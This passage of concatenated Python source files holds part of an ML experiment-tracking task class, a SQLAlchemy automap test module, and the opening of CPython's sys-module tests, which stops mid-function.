raise_on_error=upload_required, log_on_error=upload_required), upload_storage_suffix=self._get_output_destination_suffix('models'), log=self.log) @property def metrics_manager(self): """ A metrics manager used to manage the metrics related to this task """ return self._get_metrics_manager(self.get_output_destination()) @property def reporter(self): """ Returns a simple metrics reporter instance """ if self._reporter is None: try: storage_uri = self.get_output_destination(log_on_error=False) except ValueError: storage_uri = None self._reporter = Reporter(self._get_metrics_manager(storage_uri=storage_uri)) return self._reporter def _get_metrics_manager(self, storage_uri): if self._metrics_manager is None: self._metrics_manager = Metrics( session=self.session, task_id=self.id, storage_uri=storage_uri, storage_uri_suffix=self._get_output_destination_suffix('metrics') ) return self._metrics_manager def _get_output_destination_suffix(self, extra_path=None): return '/'.join(x for x in ('task_%s' % self.data.id, extra_path) if x) def _reload(self): """ Reload the task object from the backend """ with self._edit_lock: res = self.send(tasks.GetByIdRequest(task=self.id)) return res.response.task def reset(self, set_started_on_success=True): """ Reset the task. Task will be reloaded following a successful reset. """ self.send(tasks.ResetRequest(task=self.id)) if set_started_on_success: self.started() self.reload() def started(self, ignore_errors=True): """ Signal that this task has started """ return self.send(tasks.StartedRequest(self.id), ignore_errors=ignore_errors) def stopped(self, ignore_errors=True): """ Signal that this task has stopped """ return self.send(tasks.StoppedRequest(self.id), ignore_errors=ignore_errors) def completed(self, ignore_errors=True): """ Signal that this task has been completed """ if hasattr(tasks, 'CompletedRequest'): return self.send(tasks.CompletedRequest(self.id, status_reason='completed'), ignore_errors=ignore_errors) return self.send(tasks.StoppedRequest(self.id, status_reason='completed'), ignore_errors=ignore_errors) def mark_failed(self, ignore_errors=True, status_reason=None, status_message=None): """ Signal that this task has stopped """ return self.send(tasks.FailedRequest(self.id, status_reason=status_reason, status_message=status_message), ignore_errors=ignore_errors) def publish(self, ignore_errors=True): """ Signal that this task will be published """ if self.status != tasks.TaskStatusEnum.stopped: raise ValueError("Can't publish, Task is not stopped") resp = self.send(tasks.PublishRequest(self.id), ignore_errors=ignore_errors) assert isinstance(resp.response, tasks.PublishResponse) return resp def update_model_desc(self, new_model_desc_file=None): """ Change the task's model_desc """ execution = self._get_task_property('execution') p = Path(new_model_desc_file) if not p.is_file(): raise IOError('mode_desc file %s cannot be found' % new_model_desc_file) new_model_desc = p.read_text() model_desc_key = list(execution.model_desc.keys())[0] if execution.model_desc else 'design' execution.model_desc[model_desc_key] = new_model_desc res = self._edit(execution=execution) return res.response def update_output_model(self, model_uri, name=None, comment=None, tags=None): """ Update the task's output model. Note that this method only updates the model's metadata using the API and does not upload any data. Use this method to update the output model when you have a local model URI (e.g. storing the weights file locally and providing a file://path/to/file URI) :param model_uri: URI for the updated model weights file :type model_uri: str :param name: Optional updated model name :type name: str :param comment: Optional updated model description :type comment: str :param tags: Optional updated model tags :type tags: [str] """ self._conditionally_start_task() self._get_output_model(upload_required=False).update_for_task(model_uri, self.id, name, comment, tags) def update_output_model_and_upload( self, model_file, name=None, comment=None, tags=None, async_enable=False, cb=None, iteration=None): """ Update the task's output model weights file. File is first uploaded to the preconfigured output destination (see task's output.destination property or call setup_upload()), than the model object associated with the task is updated using an API call with the URI of the uploaded file (and other values provided by additional arguments) :param model_file: Path to the updated model weights file :type model_file: str :param name: Optional updated model name :type name: str :param comment: Optional updated model description :type comment: str :param tags: Optional updated model tags :type tags: [str] :param async_enable: Request asynchronous upload. If False, the call blocks until upload is completed and the API call updating the model returns. If True, the call returns immediately, while upload and update are scheduled in another thread. Default is False. :type async_enable: bool :param cb: Asynchronous callback. If async=True, this callback will be invoked once the asynchronous upload and update have completed. :return: The URI of the uploaded weights file. If async=True, this is the expected URI as the upload is probably still in progress. """ self._conditionally_start_task() uri = self.output_model.update_for_task_and_upload( model_file, self.id, name=name, comment=comment, tags=tags, async_enable=async_enable, cb=cb, iteration=iteration ) return uri def _conditionally_start_task(self): if self.status == tasks.TaskStatusEnum.created: self.started() @property def labels_stats(self): """ Get accumulated label stats for the current/last frames iteration """ return self._curr_label_stats def _accumulate_label_stats(self, roi_stats, reset=False): if reset: self._curr_label_stats = {} for label in roi_stats: if label in self._curr_label_stats: self._curr_label_stats[label] += roi_stats[label] else: self._curr_label_stats[label] = roi_stats[label] def set_input_model(self, model_id=None, model_name=None, update_task_design=True, update_task_labels=True): """ Set a new input model for this task. Model must be 'ready' in order to be used as the Task's input model. :param model_id: ID for a model that exists in the backend. Required if model_name is not provided. :param model_name: Model name. Required if model_id is not provided. If provided, this name will be used to locate an existing model in the backend. :param update_task_design: if True, the task's model design will be copied from the input model :param update_task_labels: if True, the task's label enumeration will be copied from the input model """ if model_id is None and not model_name: raise ValueError('Expected one of [model_id, model_name]') if model_name: # Try getting the model by name. Limit to 10 results. res = self.send( models.GetAllRequest( name=exact_match_regex(model_name), ready=True, page=0, page_size=10, order_by='-created', only_fields=['id'] ) ) model = get_single_result(entity='model', query=model_name, results=res.response.models, log=self.log) model_id = model.id if model_id: res = self.send(models.GetByIdRequest(model=model_id)) model = res.response.model if not model.ready: # raise ValueError('Model %s is not published (not ready)' % model_id) self.log.debug('Model %s [%s] is not published yet (not ready)' % (model_id, model.uri)) else: # clear the input model model = None model_id = '' # store model id self.data.execution.model = model_id # Auto populate input field from model, if they are empty if update_task_design and not self.data.execution.model_desc: self.data.execution.model_desc = model.design if model else '' if update_task_labels and not self.data.execution.model_labels: self.data.execution.model_labels = model.labels if model else {} self._edit(execution=self.data.execution) def set_parameters(self, *args, **kwargs): """ Set parameters for this task. This allows setting a complete set of key/value parameters, but does not support parameter descriptions (as the input is a dictionary or key/value pairs. :param args: Positional arguments (one or more dictionary or (key, value) iterable). These will be merged into a single key/value dictionary. :param kwargs: Key/value pairs, merged into the parameters dictionary created from `args`. """ if not all(isinstance(x, (dict, collections.Iterable)) for x in args): raise ValueError('only dict or iterable are supported as positional arguments') update = kwargs.pop('__update', False) parameters = dict() if not update else self.get_parameters() parameters.update(itertools.chain.from_iterable(x.items() if isinstance(x, dict) else x for x in args)) parameters.update(kwargs) not_allowed = { k: type(v).__name__ for k, v in parameters.items() if not isinstance(v, self._parameters_allowed_types) } if not_allowed: raise ValueError( "Only builtin types ({}) are allowed for values (got {})".format( ', '.join(t.__name__ for t in self._parameters_allowed_types), ', '.join('%s=>%s' % p for p in not_allowed.items())), ) # force cast all variables to strings (so that we can later edit them in UI) parameters = {k: str(v) if v is not None else "" for k, v in parameters.items()} execution = self.data.execution if execution is None: execution = tasks.Execution(parameters=parameters) else: execution.parameters = parameters self._edit(execution=execution) def set_parameter(self, name, value, description=None): """ Set a single task parameter. This overrides any previous value for this parameter. :param name: Parameter name :param value: Parameter value :param description: Parameter description (unused for now) """ params = self.get_parameters() params[name] = value self.set_parameters(params) def get_parameter(self, name, default=None): """ Get a value for a parameter. :param name: Parameter name :param default: Default value :return: Parameter value (or default value if parameter is not defined) """ params = self.get_parameters() return params.get(name, default) def update_parameters(self, *args, **kwargs): """ Update parameters for this task. This allows updating a complete set of key/value parameters,but does not support parameter descriptions (as the input is a dictionary or key/value pairs. :param args: Positional arguments (one or more dictionary or (key, value) iterable). These will be merged into a single key/value dictionary. :param kwargs: Key/value pairs, merged into the parameters dictionary created from `args`. """ self.set_parameters(__update=True, *args, **kwargs) def set_model_label_enumeration(self, enumeration=None): enumeration = enumeration or {} execution = self.data.execution if enumeration is None: return if not (isinstance(enumeration, dict) and all(isinstance(k, six.string_types) and isinstance(v, int) for k, v in enumeration.items())): raise ValueError('Expected label to be a dict[str => int]') execution.model_labels = enumeration self._edit(execution=execution) def _set_model_design(self, design=None): execution = self.data.execution if design is not None: execution.model_desc = Model._wrap_design(design) self._edit(execution=execution) def get_labels_enumeration(self): """ Return a dictionary of labels (text) to ids (integers) {str(label): integer(id)} :return: """ if not self.data or not self.data.execution: return {} return self.data.execution.model_labels def get_model_design(self): """ Returns the model configuration as blob of text :return: """ design = self._get_task_property("execution.model_desc", default={}, raise_on_error=False, log_on_error=False) return Model._unwrap_design(design) def set_output_model_id(self, model_id): self.data.output.model = str(model_id) self._edit(output=self.data.output) def get_random_seed(self): # fixed seed for the time being return 1337 def set_random_seed(self, random_seed): # fixed seed for the time being pass def set_project(self, project_id): assert isinstance(project_id, six.string_types) self._set_task_property("project", project_id) self._edit(project=project_id) def get_project_name(self): if self.project is None: return None res = self.send(projects.GetByIdRequest(project=self.project), raise_on_errors=False) return res.response.project.name def get_tags(self): return self._get_task_property("tags") def set_tags(self, tags): assert isinstance(tags, (list, tuple)) self._set_task_property("tags", tags) self._edit(tags=self.data.tags) def _get_default_report_storage_uri(self): app_host = self._get_app_server() parsed = urlparse(app_host) if parsed.port: parsed = parsed._replace(netloc=parsed.netloc.replace(':%d' % parsed.port, ':8081', 1)) elif parsed.netloc.startswith('demoapp.'): parsed = parsed._replace(netloc=parsed.netloc.replace('demoapp.', 'demofiles.', 1)) elif parsed.netloc.startswith('app.'): parsed = parsed._replace(netloc=parsed.netloc.replace('app.', 'files.', 1)) else: parsed = parsed._replace(netloc=parsed.netloc+':8081') return urlunparse(parsed) @classmethod def _get_api_server(cls): return Session.get_api_server_host() @classmethod def _get_app_server(cls): host = cls._get_api_server() if '://demoapi.' in host: return host.replace('://demoapi.', '://demoapp.', 1) if '://api.' in host: return host.replace('://api.', '://app.', 1) parsed = urlparse(host) if parsed.port == 8008: return host.replace(':8008', ':8080', 1) def _edit(self, **kwargs): with self._edit_lock: # Since we ae using forced update, make sure he task status is valid if not self._data or (self.data.status not in (tasks.TaskStatusEnum.created, tasks.TaskStatusEnum.in_progress)): raise ValueError('Task object can only be updated if created or in_progress') res = self.send(tasks.EditRequest(task=self.id, force=True, **kwargs), raise_on_errors=False) return res def _update_requirements(self, requirements): if not isinstance(requirements, dict): requirements = {'pip': requirements} # protection, Old API might not support it try: self.data.script.requirements = requirements self.send(tasks.SetRequirementsRequest(task=self.id, requirements=requirements)) except Exception: pass def _update_script(self, script): self.data.script = script self._edit(script=script) @classmethod def create_new_task(cls, session, task_entry, log=None): """ Create a new task :param session: Session object used for sending requests to the API :type session: Session :param task_entry: A task entry instance :type task_entry: tasks.CreateRequest :param log: Optional log :type log: logging.Logger :return: A new Task instance """ if isinstance(task_entry, dict): task_entry = tasks.CreateRequest(**task_entry) assert isinstance(task_entry, tasks.CreateRequest) res = cls._send(session=session, req=task_entry, log=log) return cls(session, task_id=res.response.id) @classmethod def clone_task(cls, cloned_task_id, name, comment=None, execution_overrides=None, tags=None, parent=None, project=None, log=None, session=None): """ Clone a task :param session: Session object used for sending requests to the API :type session: Session :param cloned_task_id: Task ID for the task to be cloned :type cloned_task_id: str :param name: New for the new task :type name: str :param comment: Optional comment for the new task :type comment: str :param execution_overrides: Task execution overrides. Applied over the cloned task's execution section, useful for overriding values in the cloned task. :type execution_overrides: dict :param tags: Optional updated model tags :type tags: [str] :param parent: Optional parent ID of the new task. :type parent: str :param project: Optional project ID of the new task. If None, the new task will inherit the cloned task's project. :type parent: str :param log: Log object used by the infrastructure. :type log: logging.Logger :return: The new tasks's ID """ session = session if session else cls._get_default_session() res = cls._send(session=session, log=log, req=tasks.GetByIdRequest(task=cloned_task_id)) task = res.response.task output_dest = None if task.output: output_dest = task.output.destination execution = task.execution.to_dict() if task.execution else {} execution = ConfigTree.merge_configs(ConfigFactory.from_dict(execution), ConfigFactory.from_dict(execution_overrides or {})) req = tasks.CreateRequest( name=name, type=task.type, input=task.input, tags=tags if tags is not None else task.tags, comment=comment or task.comment, parent=parent, project=project if project else task.project, output_dest=output_dest, execution=execution.as_plain_ordered_dict(), script=task.script ) res = cls._send(session=session, log=log, req=req) return res.response.id @classmethod def enqueue_task(cls, task_id, session=None, queue_id=None, log=None): """ Enqueue a task for execution :param session: Session object used for sending requests to the API :type session: Session :param task_id: ID of the task to be enqueued :type task_id: str :param queue_id: ID of the queue in which to enqueue the task. If not provided, the default queue will be used. :type queue_id: str :param log: Log object :type log: logging.Logger :return: enqueue response """ assert isinstance(task_id, six.string_types) req = tasks.EnqueueRequest(task=task_id, queue=queue_id) res = cls._send(session=session, req=req, log=log) resp = res.response return resp @classmethod def get_all(cls, session, log=None, **kwargs): """ Get all tasks :param session: Session object used for sending requests to the API :type session: Session :param log: Log object :type log: logging.Logger :param kwargs: Keyword args passed to the GetAllRequest (see .backend_api.services.tasks.GetAllRequest) :type kwargs: dict :return: API response """ req = tasks.GetAllRequest(**kwargs) res = cls._send(session=session, req=req, log=log) return res @classmethod def get_by_name(cls, task_name): res = cls._send(cls._get_default_session(), tasks.GetAllRequest(name=exact_match_regex(task_name))) task = get_single_result(entity='task', query=task_name, results=res.response.tasks) return cls(task_id=task.id) def _get_all_events(self, max_events=100): """ Get a list of all reported events. Warning: Debug only. Do not use outside of testing. :param max_events: The maximum events the function will return. Pass None to return all the reported events. :return: A list of events from the task. """ log_events = self.send(events.GetTaskEventsRequest( task=self.id, order='asc', batch_size=max_events, )) events_list = log_events.response.events total_events = log_events.response.total scroll = log_events.response.scroll_id while len(events_list) < total_events and (max_events is None or len(events_list) < max_events): log_events = self.send(events.GetTaskEventsRequest( task=self.id, order='asc', batch_size=max_events, scroll_id=scroll, )) events_list.extend(log_events.response.events) scroll = log_events.response.scroll_id return events_list
test_automap.py
import random import threading import time from sqlalchemy import create_engine from sqlalchemy import ForeignKey from sqlalchemy import Integer from sqlalchemy import MetaData from sqlalchemy import String from sqlalchemy import testing from sqlalchemy.ext.automap import automap_base from sqlalchemy.ext.automap import generate_relationship from sqlalchemy.orm import configure_mappers from sqlalchemy.orm import interfaces from sqlalchemy.orm import relationship from sqlalchemy.testing import fixtures from sqlalchemy.testing.mock import Mock from sqlalchemy.testing.mock import patch from sqlalchemy.testing.schema import Column from sqlalchemy.testing.schema import Table from ..orm._fixtures import FixtureTest class AutomapTest(fixtures.MappedTest): @classmethod def define_tables(cls, metadata): FixtureTest.define_tables(metadata) def test_relationship_o2m_default(self): Base = automap_base(metadata=self.metadata) Base.prepare() User = Base.classes.users Address = Base.classes.addresses a1 = Address(email_address="e1") u1 = User(name="u1", addresses_collection=[a1]) assert a1.users is u1 def test_relationship_explicit_override_o2m(self): Base = automap_base(metadata=self.metadata) prop = relationship("addresses", collection_class=set) class User(Base): __tablename__ = "users" addresses_collection = prop Base.prepare() assert User.addresses_collection.property is prop Address = Base.classes.addresses a1 = Address(email_address="e1") u1 = User(name="u1", addresses_collection=set([a1])) assert a1.user is u1 def test_relationship_explicit_override_m2o(self): Base = automap_base(metadata=self.metadata) prop = relationship("users") class Address(Base): __tablename__ = "addresses" users = prop Base.prepare() User = Base.classes.users assert Address.users.property is prop a1 = Address(email_address="e1") u1 = User(name="u1", address_collection=[a1]) assert a1.users is u1 def test_relationship_self_referential(self): Base = automap_base(metadata=self.metadata) Base.prepare() Node = Base.classes.nodes n1 = Node() n2 = Node() n1.nodes_collection.append(n2) assert n2.nodes is n1 def test_prepare_accepts_optional_schema_arg(self): """ The underlying reflect call accepts an optional schema argument. This is for determining which database schema to load. This test verifies that prepare can accept an optiona schema argument and pass it to reflect. """ Base = automap_base(metadata=self.metadata) engine_mock = Mock() with patch.object(Base.metadata, "reflect") as reflect_mock: Base.prepare(engine_mock, reflect=True, schema="some_schema") reflect_mock.assert_called_once_with( engine_mock, schema="some_schema", extend_existing=True, autoload_replace=False, ) def test_prepare_defaults_to_no_schema(self): """ The underlying reflect call accepts an optional schema argument. This is for determining which database schema to load. This test verifies that prepare passes a default None if no schema is provided. """ Base = automap_base(metadata=self.metadata) engine_mock = Mock() with patch.object(Base.metadata, "reflect") as reflect_mock: Base.prepare(engine_mock, reflect=True) reflect_mock.assert_called_once_with( engine_mock, schema=None, extend_existing=True, autoload_replace=False, ) def test_naming_schemes(self): Base = automap_base(metadata=self.metadata) def classname_for_table(base, tablename, table): return str("cls_" + tablename) def name_for_scalar_relationship( base, local_cls, referred_cls, constraint ): return "scalar_" + referred_cls.__name__ def name_for_collection_relationship( base, local_cls, referred_cls, constraint ): return "coll_" + referred_cls.__name__ Base.prepare( classname_for_table=classname_for_table, name_for_scalar_relationship=name_for_scalar_relationship, name_for_collection_relationship=name_for_collection_relationship, ) User = Base.classes.cls_users Address = Base.classes.cls_addresses u1 = User() a1 = Address() u1.coll_cls_addresses.append(a1) assert a1.scalar_cls_users is u1 def test_relationship_m2m(self): Base = automap_base(metadata=self.metadata) Base.prepare() Order, Item = Base.classes.orders, Base.classes["items"] o1 = Order() i1 = Item() o1.items_collection.append(i1) assert o1 in i1.orders_collection def test_relationship_explicit_override_forwards_m2m(self): Base = automap_base(metadata=self.metadata) class Order(Base): __tablename__ = "orders" items_collection = relationship( "items", secondary="order_items", collection_class=set ) Base.prepare() Item = Base.classes["items"] o1 = Order() i1 = Item() o1.items_collection.add(i1) # it is 'order_collection' because the class name is # "Order" ! assert isinstance(i1.order_collection, list) assert o1 in i1.order_collection def test_relationship_pass_params(self): Base = automap_base(metadata=self.metadata) mock = Mock() def _gen_relationship( base, direction, return_fn, attrname, local_cls, referred_cls, **kw ): mock(base, direction, attrname) return generate_relationship( base, direction, return_fn, attrname, local_cls, referred_cls, **kw ) Base.prepare(generate_relationship=_gen_relationship) assert set(tuple(c[1]) for c in mock.mock_calls).issuperset( [ (Base, interfaces.MANYTOONE, "nodes"), (Base, interfaces.MANYTOMANY, "keywords_collection"), (Base, interfaces.MANYTOMANY, "items_collection"), (Base, interfaces.MANYTOONE, "users"), (Base, interfaces.ONETOMANY, "addresses_collection"), ] ) class CascadeTest(fixtures.MappedTest): @classmethod def define_tables(cls, metadata): Table("a", metadata, Column("id", Integer, primary_key=True)) Table( "b", metadata, Column("id", Integer, primary_key=True), Column("aid", ForeignKey("a.id"), nullable=True), ) Table( "c", metadata, Column("id", Integer, primary_key=True), Column("aid", ForeignKey("a.id"), nullable=False), ) Table( "d", metadata, Column("id", Integer, primary_key=True), Column( "aid", ForeignKey("a.id", ondelete="cascade"), nullable=False ), ) Table( "e", metadata, Column("id", Integer, primary_key=True), Column( "aid", ForeignKey("a.id", ondelete="set null"), nullable=True ), ) def test_o2m_relationship_cascade(self): Base = automap_base(metadata=self.metadata) Base.prepare() configure_mappers() b_rel = Base.classes.a.b_collection assert not b_rel.property.cascade.delete assert not b_rel.property.cascade.delete_orphan assert not b_rel.property.passive_deletes assert b_rel.property.cascade.save_update c_rel = Base.classes.a.c_collection assert c_rel.property.cascade.delete assert c_rel.property.cascade.delete_orphan assert not c_rel.property.passive_deletes assert c_rel.property.cascade.save_update d_rel = Base.classes.a.d_collection assert d_rel.property.cascade.delete assert d_rel.property.cascade.delete_orphan assert d_rel.property.passive_deletes assert d_rel.property.cascade.save_update e_rel = Base.classes.a.e_collection assert not e_rel.property.cascade.delete assert not e_rel.property.cascade.delete_orphan assert e_rel.property.passive_deletes assert e_rel.property.cascade.save_update class AutomapInhTest(fixtures.MappedTest): @classmethod def define_tables(cls, metadata): Table( "single", metadata, Column("id", Integer, primary_key=True), Column("type", String(10)), test_needs_fk=True, ) Table( "joined_base", metadata, Column("id", Integer, primary_key=True), Column("type", String(10)), test_needs_fk=True, ) Table( "joined_inh", metadata, Column( "id", Integer, ForeignKey("joined_base.id"), primary_key=True ), test_needs_fk=True, ) FixtureTest.define_tables(metadata) def test_single_inheritance_reflect(self): Base = automap_base() class Single(Base): __tablename__ = "single" type = Column(String) __mapper_args__ = { "polymorphic_identity": "u0", "polymorphic_on": type, } class SubUser1(Single): __mapper_args__ = {"polymorphic_identity": "u1"} class SubUser2(Single): __mapper_args__ = {"polymorphic_identity": "u2"} Base.prepare(engine=testing.db, reflect=True) assert SubUser2.__mapper__.inherits is Single.__mapper__ def test_joined_inheritance_reflect(self): Base = automap_base() class Joined(Base): __tablename__ = "joined_base" type = Column(String) __mapper_args__ = { "polymorphic_identity": "u0", "polymorphic_on": type, } class SubJoined(Joined): __tablename__ = "joined_inh" __mapper_args__ = {"polymorphic_identity": "u1"} Base.prepare(engine=testing.db, reflect=True) assert SubJoined.__mapper__.inherits is Joined.__mapper__ assert not Joined.__mapper__.relationships assert not SubJoined.__mapper__.relationships def test_conditional_relationship(self): Base = automap_base() def _gen_relationship(*arg, **kw): return None Base.prepare( engine=testing.db, reflect=True, generate_relationship=_gen_relationship, ) class ConcurrentAutomapTest(fixtures.TestBase): __only_on__ = "sqlite" def _make_tables(self, e): m = MetaData() for i in range(15): Table( "table_%d" % i, m, Column("id", Integer, primary_key=True), Column("data", String(50)), Column( "t_%d_id" % (i - 1), ForeignKey("table_%d.id" % (i - 1)) ) if i > 4 else None, ) m.drop_all(e) m.create_all(e) def _automap(self, e): Base = automap_base() Base.prepare(e, reflect=True) time.sleep(0.01) configure_mappers() def _chaos(self): e = create_engine("sqlite://") try: self._make_tables(e) for i in range(2): try: self._automap(e) except: self._success = False raise time.sleep(random.random()) finally: e.dispose() def test_concurrent_automaps_w_configure(self): self._success = True threads = [threading.Thread(target=self._chaos) for i in range(30)] for t in threads: t.start() for t in threads: t.join() assert self._success, "One or more threads failed"
test_sys.py
import builtins import codecs import gc import locale import operator import os import struct import subprocess import sys import sysconfig import test.support from test import support from test.support import os_helper from test.support.script_helper import assert_python_ok, assert_python_failure from test.support import threading_helper import textwrap import unittest import warnings # count the number of test runs, used to create unique # strings to intern in test_intern() INTERN_NUMRUNS = 0 class DisplayHookTest(unittest.TestCase): def test_original_displayhook(self): dh = sys.__displayhook__ with support.captured_stdout() as out: dh(42) self.assertEqual(out.getvalue(), "42\n") self.assertEqual(builtins._, 42) del builtins._ with support.captured_stdout() as out: dh(None) self.assertEqual(out.getvalue(), "") self.assertTrue(not hasattr(builtins, "_")) # sys.displayhook() requires arguments self.assertRaises(TypeError, dh) stdout = sys.stdout try: del sys.stdout self.assertRaises(RuntimeError, dh, 42) finally: sys.stdout = stdout def test_lost_displayhook(self): displayhook = sys.displayhook try: del sys.displayhook code = compile("42", "<string>", "single") self.assertRaises(RuntimeError, eval, code) finally: sys.displayhook = displayhook def test_custom_displayhook(self): def baddisplayhook(obj): raise ValueError with support.swap_attr(sys, 'displayhook', baddisplayhook): code = compile("42", "<string>", "single") self.assertRaises(ValueError, eval, code) class ExceptHookTest(unittest.TestCase): def test_original_excepthook(self): try: raise ValueError(42) except ValueError as exc: with support.captured_stderr() as err: sys.__excepthook__(*sys.exc_info()) self.assertTrue(err.getvalue().endswith("ValueError: 42\n")) self.assertRaises(TypeError, sys.__excepthook__) def test_excepthook_bytes_filename(self): # bpo-37467: sys.excepthook() must not crash if a filename # is a bytes string with warnings.catch_warnings(): warnings.simplefilter('ignore', BytesWarning) try: raise SyntaxError("msg", (b"bytes_filename", 123, 0, "text")) except SyntaxError as exc: with support.captured_stderr() as err: sys.__excepthook__(*sys.exc_info()) err = err.getvalue() self.assertIn(""" File "b'bytes_filename'", line 123\n""", err) self.assertIn(""" text\n""", err) self.assertTrue(err.endswith("SyntaxError: msg\n")) def test_excepthook(self): with test.support.captured_output("stderr") as stderr: sys.excepthook(1, '1', 1) self.assertTrue("TypeError: print_exception(): Exception expected for " \ "value, str found" in stderr.getvalue()) # FIXME: testing the code for a lost or replaced excepthook in # Python/pythonrun.c::PyErr_PrintEx() is tricky. class SysModuleTest(unittest.TestCase): def tearDown(self): test.support.reap_children() def test_exit(self): # call with two arguments self.assertRaises(TypeError, sys.exit, 42, 42) # call without argument with self.assertRaises(SystemExit) as cm: sys.exit() self.assertIsNone(cm.exception.code) rc, out, err = assert_python_ok('-c', 'import sys; sys.exit()') self.assertEqual(rc, 0) self.assertEqual(out, b'') self.assertEqual(err, b'') # call with integer argument with self.assertRaises(SystemExit) as cm: sys.exit(42) self.assertEqual(cm.exception.code, 42) # call with tuple argument with one entry # entry will be unpacked with self.assertRaises(SystemExit) as cm: sys.exit((42,)) self.assertEqual(cm.exception.code, 42) # call with string argument with self.assertRaises(SystemExit) as cm: sys.exit("exit") self.assertEqual(cm.exception.code, "exit") # call with tuple argument with two entries with self.assertRaises(SystemExit) as cm: sys.exit((17, 23)) self.assertEqual(cm.exception.code, (17, 23)) # test that the exit machinery handles SystemExits properly rc, out, err = assert_python_failure('-c', 'raise SystemExit(47)') self.assertEqual(rc, 47) self.assertEqual(out, b'') self.assertEqual(err, b'') def check_exit_message(code, expected, **env_vars): rc, out, err = assert_python_failure('-c', code, **env_vars) self.assertEqual(rc, 1) self.assertEqual(out, b'') self.assertTrue(err.startswith(expected), "%s doesn't start with %s" % (ascii(err), ascii(expected))) # test that stderr buffer is flushed before the exit message is written # into stderr check_exit_message( r'import sys; sys.stderr.write("unflushed,"); sys.exit("message")', b"unflushed,message") # test that the exit message is written with backslashreplace error # handler to stderr check_exit_message( r'import sys; sys.exit("surrogates:\uDCFF")', b"surrogates:\\udcff") # test that the unicode message is encoded to the stderr encoding # instead of the default encoding (utf8) check_exit_message( r'import sys; sys.exit("h\xe9")', b"h\xe9", PYTHONIOENCODING='latin-1') def test_getdefaultencoding(self): self.assertRaises(TypeError, sys.getdefaultencoding, 42) # can't check more than the type, as the user might have changed it self.assertIsInstance(sys.getdefaultencoding(), str) # testing sys.settrace() is done in test_sys_settrace.py # testing sys.setprofile() is done in test_sys_setprofile.py def test_switchinterval(self): self.assertRaises(TypeError, sys.setswitchinterval) self.assertRaises(TypeError, sys.setswitchinterval, "a") self.assertRaises(ValueError, sys.setswitchinterval, -1.0) self.assertRaises(ValueError, sys.setswitchinterval, 0.0) orig = sys.getswitchinterval() # sanity check self.assertTrue(orig < 0.5, orig) try: for n in 0.00001, 0.05, 3.0, orig: sys.setswitchinterval(n) self.assertAlmostEqual(sys.getswitchinterval(), n) finally: sys.setswitchinterval(orig) def test_recursionlimit(self): self.assertRaises(TypeError, sys.getrecursionlimit, 42) oldlimit = sys.getrecursionlimit() self.assertRaises(TypeError, sys.setrecursionlimit) self.assertRaises(ValueError, sys.setrecursionlimit, -42) sys.setrecursionlimit(10000) self.assertEqual(sys.getrecursionlimit(), 10000) sys.setrecursionlimit(oldlimit) def test_recursionlimit_recovery(self): if hasattr(sys, 'gettrace') and sys.gettrace(): self.skipTest('fatal error if run with a trace function') oldlimit = sys.getrecursionlimit() def f(): f() try: for depth in (10, 25, 50, 75, 100, 250, 1000): try: sys.setrecursionlimit(depth) except RecursionError: # Issue #25274: The recursion limit is too low at the # current recursion depth continue # Issue #5392: test stack overflow after hitting recursion # limit twice self.assertRaises(RecursionError, f) self.assertRaises(RecursionError, f) finally: sys.setrecursionlimit(oldlimit) @test.support.cpython_only def test_setrecursionlimit_recursion_depth(self): # Issue #25274: Setting a low recursion limit must be blocked if the # current recursion depth is already higher than the "lower-water # mark". Otherwise, it may not be possible anymore to # reset the overflowed flag to 0. from _testinternalcapi import get_recursion_depth def set_recursion_limit_at_depth(depth, limit): recursion_depth = get_recursion_depth() if recursion_depth >= depth: with self.assertRaises(RecursionError) as cm: sys.setrecursionlimit(limit) self.assertRegex(str(cm.exception), "cannot set the recursion limit to [0-9]+ " "at the recursion depth [0-9]+: " "the limit is too low") else: set_recursion_limit_at_depth(depth, limit) oldlimit = sys.getrecursionlimit() try: sys.setrecursionlimit(1000) for limit in (10, 25, 50, 75, 100, 150, 200): # formula extracted from _Py_RecursionLimitLowerWaterMark() if limit > 200: depth = limit - 50 else: depth = limit * 3 // 4 set_recursion_limit_at_depth(depth, limit) finally: sys.setrecursionlimit(oldlimit) # The error message is specific to CPython @test.support.cpython_only def test_recursionlimit_fatalerror(self): # A fatal error occurs if a second recursion limit is hit when recovering # from a first one. code = textwrap.dedent(""" import sys def f(): try: f() except RecursionError: f() sys.setrecursionlimit(%d) f()""") with test.support.SuppressCrashReport(): for i in (50, 1000): sub = subprocess.Popen([sys.executable, '-c', code % i], stderr=subprocess.PIPE) err = sub.communicate()[1] self.assertTrue(sub.returncode, sub.returncode) self.assertIn( b"Fatal Python error: _Py_CheckRecursiveCall: " b"Cannot recover from stack overflow", err) def test_getwindowsversion(self): # Raise SkipTest if sys doesn't have getwindowsversion attribute test.support.get_attribute(sys, "getwindowsversion") v = sys.getwindowsversion() self.assertEqual(len(v), 5) self.assertIsInstance(v[0], int) self.assertIsInstance(v[1], int) self.assertIsInstance(v[2], int) self.assertIsInstance(v[3], int) self.assertIsInstance(v[4], str) self.assertRaises(IndexError, operator.getitem, v, 5) self.assertIsInstance(v.major, int) self.assertIsInstance(v.minor, int) self.assertIsInstance(v.build, int) self.assertIsInstance(v.platform, int) self.assertIsInstance(v.service_pack, str) self.assertIsInstance(v.service_pack_minor, int) self.assertIsInstance(v.service_pack_major, int) self.assertIsInstance(v.suite_mask, int) self.assertIsInstance(v.product_type, int) self.assertEqual(v[0], v.major) self.assertEqual(v[1], v.minor) self.assertEqual(v[2], v.build) self.assertEqual(v[3], v.platform) self.assertEqual(v[4], v.service_pack) # This is how platform.py calls it. Make sure tuple # still has 5 elements maj, min, buildno, plat, csd = sys.getwindowsversion() def test_call_tracing(self): self.assertRaises(TypeError, sys.call_tracing, type, 2) @unittest.skipUnless(hasattr(sys, "setdlopenflags"), 'test needs sys.setdlopenflags()') def test_dlopenflags(self): self.assertTrue(hasattr(sys, "getdlopenflags")) self.assertRaises(TypeError, sys.getdlopenflags, 42) oldflags = sys.getdlopenflags() self.assertRaises(TypeError, sys.setdlopenflags) sys.setdlopenflags(oldflags+1) self.assertEqual(sys.getdlopenflags(), oldflags+1) sys.setdlopenflags(oldflags) @test.support.refcount_test def test_refcount(self): # n here must be a global in order for this test to pass while # tracing with a python function. Tracing calls PyFrame_FastToLocals # which will add a copy of any locals to the frame object, causing # the reference count to increase by 2 instead of 1. global n self.assertRaises(TypeError, sys.getrefcount) c = sys.getrefcount(None) n = None self.assertEqual(sys.getrefcount(None), c+1) del n self.assertEqual(sys.getrefcount(None), c) if hasattr(sys, "gettotalrefcount"): self.assertIsInstance(sys.gettotalrefcount(), int) def 